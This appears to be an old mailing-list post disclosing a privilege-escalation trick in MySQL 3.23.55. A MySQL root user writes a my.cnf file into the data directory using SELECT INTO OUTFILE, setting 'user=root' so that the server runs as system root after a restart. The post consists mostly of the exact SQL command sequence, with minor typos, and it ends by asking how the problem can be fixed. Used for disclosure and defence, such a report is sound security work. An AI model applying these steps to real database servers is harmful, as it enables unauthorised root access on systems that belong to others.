Hi. I tried this on my own MySQL 3.23.55 !!!
I found out that logging as the root user, we can change mysqld to run as root instead
that i.e. mysql but this works only if there's just one my.cnf file and it is locate
in /etc...
Here's how I did it...
I logged in as root and than I did this:
mysql>CREATE DATABASE roottext;
mysql>USE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack VALUES ('[mysqld]');
mysql>INSERT IN hack VALUES ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT
Doing so we have create a my.cnf in mysql datadir containing:
[mysqld]
user=root
Now, when the mysql server will be restarted, the user option in our datadit my.cnf
will override the one in /etc/my.cnf and mysql server will run as root, with all the
security flwas that it takes...
This is very dangerous if we think that in mysql <= 3.23.53 it is really easy to get
root access due to a bug (an exploit has been released publicly)...
I dunno how this problem can be solved, I'd like to hear from you something...
Thanks.... :)
